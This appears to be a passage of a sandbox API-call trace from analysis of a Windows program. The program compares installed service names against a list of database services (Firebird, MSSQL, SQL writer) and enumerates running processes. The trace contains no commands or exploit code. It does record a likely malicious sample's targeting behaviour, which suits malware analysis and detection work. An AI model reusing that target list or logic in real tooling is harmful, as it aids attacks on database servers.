(lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0098.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0098.343] lstrlenW (lpString="EventLog") returned 8 [0098.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0098.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0098.343] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0098.344] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0098.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0098.344] lstrlenW (lpString="EventSystem") returned 11 [0098.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0098.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0098.344] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0098.344] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0098.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0098.344] lstrlenW (lpString="FontCache") returned 9 [0098.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0098.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0098.344] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0098.344] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0098.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0098.344] lstrlenW (lpString="gpsvc") returned 5 [0098.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0098.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0098.344] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0098.344] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0098.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0098.344] lstrlenW (lpString="iphlpsvc") returned 8 [0098.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0098.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0098.344] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0098.344] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0098.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0098.345] lstrlenW (lpString="KeyIso") returned 6 [0098.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0098.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0098.345] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0098.345] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0098.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0098.345] lstrlenW (lpString="LanmanServer") returned 12 [0098.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0098.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0098.345] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0098.345] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0098.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0098.345] lstrlenW (lpString="LanmanWorkstation") returned 17 [0098.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0098.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0098.345] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0098.345] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0098.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0098.345] lstrlenW (lpString="lfsvc") returned 5 [0098.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0098.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0098.345] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0098.345] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0098.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0098.345] lstrlenW (lpString="lmhosts") returned 7 [0098.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0098.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0098.346] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0098.346] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0098.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0098.346] lstrlenW (lpString="LSM") returned 3 [0098.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0098.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0098.346] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0098.346] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0098.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0098.346] lstrlenW (lpString="MpsSvc") returned 6 [0098.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0098.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0098.346] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0098.346] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0098.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0098.346] lstrlenW (lpString="NcbService") returned 10 [0098.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0098.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0098.346] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0098.346] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0098.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0098.346] lstrlenW (lpString="netprofm") returned 8 [0098.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0098.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0098.347] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0098.347] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0098.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0098.347] lstrlenW (lpString="NlaSvc") returned 6 [0098.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0098.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0098.347] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0098.347] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0098.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0098.347] lstrlenW (lpString="nsi") returned 3 [0098.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0098.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0098.347] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0098.347] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0098.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0098.347] lstrlenW (lpString="PcaSvc") returned 6 [0098.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0098.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0098.347] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0098.347] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0098.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0098.347] lstrlenW (lpString="PlugPlay") returned 8 [0098.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0098.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0098.347] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0098.347] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0098.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0098.348] lstrlenW (lpString="Power") returned 5 [0098.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0098.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0098.348] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0098.348] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0098.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0098.348] lstrlenW (lpString="ProfSvc") returned 7 [0098.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0098.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0098.348] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0098.348] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0098.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0098.348] lstrlenW (lpString="RpcEptMapper") returned 12 [0098.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0098.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0098.348] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0098.348] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0098.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0098.348] lstrlenW (lpString="RpcSs") returned 5 [0098.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0098.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0098.348] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0098.348] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0098.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0098.348] lstrlenW (lpString="SamSs") returned 5 [0098.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0098.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0098.349] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0098.349] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0098.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0098.349] lstrlenW (lpString="Schedule") returned 8 [0098.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0098.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0098.349] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0098.349] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0098.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0098.349] lstrlenW (lpString="SecurityHealthService") returned 21 [0098.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0098.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0098.349] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0098.349] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0098.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0098.349] lstrlenW (lpString="SENS") returned 4 [0098.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0098.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0098.349] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0098.349] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0098.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0098.349] lstrlenW (lpString="ShellHWDetection") returned 16 [0098.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0098.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0098.349] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0098.350] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0098.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0098.350] lstrlenW (lpString="Spooler") returned 7 [0098.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0098.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0098.350] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0098.350] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0098.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0098.350] lstrlenW (lpString="sppsvc") returned 6 [0098.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0098.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0098.350] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0098.350] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0098.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0098.350] lstrlenW (lpString="SSDPSRV") returned 7 [0098.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0098.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0098.350] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0098.350] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0098.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0098.350] lstrlenW (lpString="StateRepository") returned 15 [0098.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0098.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0098.350] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0098.350] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0098.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0098.351] lstrlenW (lpString="SysMain") returned 7 [0098.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0098.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0098.351] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0098.351] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0098.351] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x36870d8 | out: hHeap=0x440000) returned 1 [0098.351] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x358 [0098.357] Process32FirstW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0098.934] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0098.935] lstrlenW (lpString="System") returned 6 [0098.935] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0098.935] lstrlenW (lpString="smss.exe") returned 8 [0098.935] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0098.936] lstrlenW (lpString="csrss.exe") returned 9 [0098.936] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0098.937] lstrlenW (lpString="wininit.exe") returned 11 [0098.937] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0098.937] lstrlenW (lpString="csrss.exe") returned 9 [0098.937] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0098.938] lstrlenW (lpString="winlogon.exe") returned 12 [0098.938] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0098.938] lstrlenW (lpString="services.exe") returned 12 [0098.938] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0098.941] lstrlenW (lpString="lsass.exe") returned 9 [0098.941] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0098.941] lstrlenW (lpString="svchost.exe") returned 11 [0098.941] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0098.942] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0098.942] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0098.942] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0098.942] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0098.943] lstrlenW (lpString="svchost.exe") returned 11 [0098.943] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0098.943] lstrlenW (lpString="dwm.exe") returned 7 [0098.943] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x57, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0098.944] lstrlenW (lpString="svchost.exe") returned 11 [0098.944] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0098.944] lstrlenW (lpString="svchost.exe") returned 11 [0098.944] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0098.945] lstrlenW (lpString="svchost.exe") returned 11 [0098.945] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0098.946] lstrlenW (lpString="svchost.exe") returned 11 [0098.946] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0098.946] lstrlenW (lpString="svchost.exe") returned 11 [0098.946] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0098.947] lstrlenW (lpString="svchost.exe") returned 11 [0098.947] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0098.947] lstrlenW (lpString="svchost.exe") returned 11 [0098.947] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0098.948] lstrlenW (lpString="svchost.exe") returned 11 [0098.948] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0098.948] lstrlenW (lpString="svchost.exe") returned 11 [0098.948] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0098.949] lstrlenW (lpString="spoolsv.exe") returned 11 [0098.949] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0098.950] lstrlenW (lpString="svchost.exe") returned 11 [0098.950] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0098.950] lstrlenW (lpString="svchost.exe") returned 11 [0098.951] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0098.951] lstrlenW (lpString="audiodg.exe") returned 11 [0098.951] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0098.952] lstrlenW (lpString="sihost.exe") returned 10 [0098.952] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0098.952] lstrlenW (lpString="svchost.exe") returned 11 [0098.952] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0098.953] lstrlenW (lpString="taskhostw.exe") returned 13 [0098.953] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 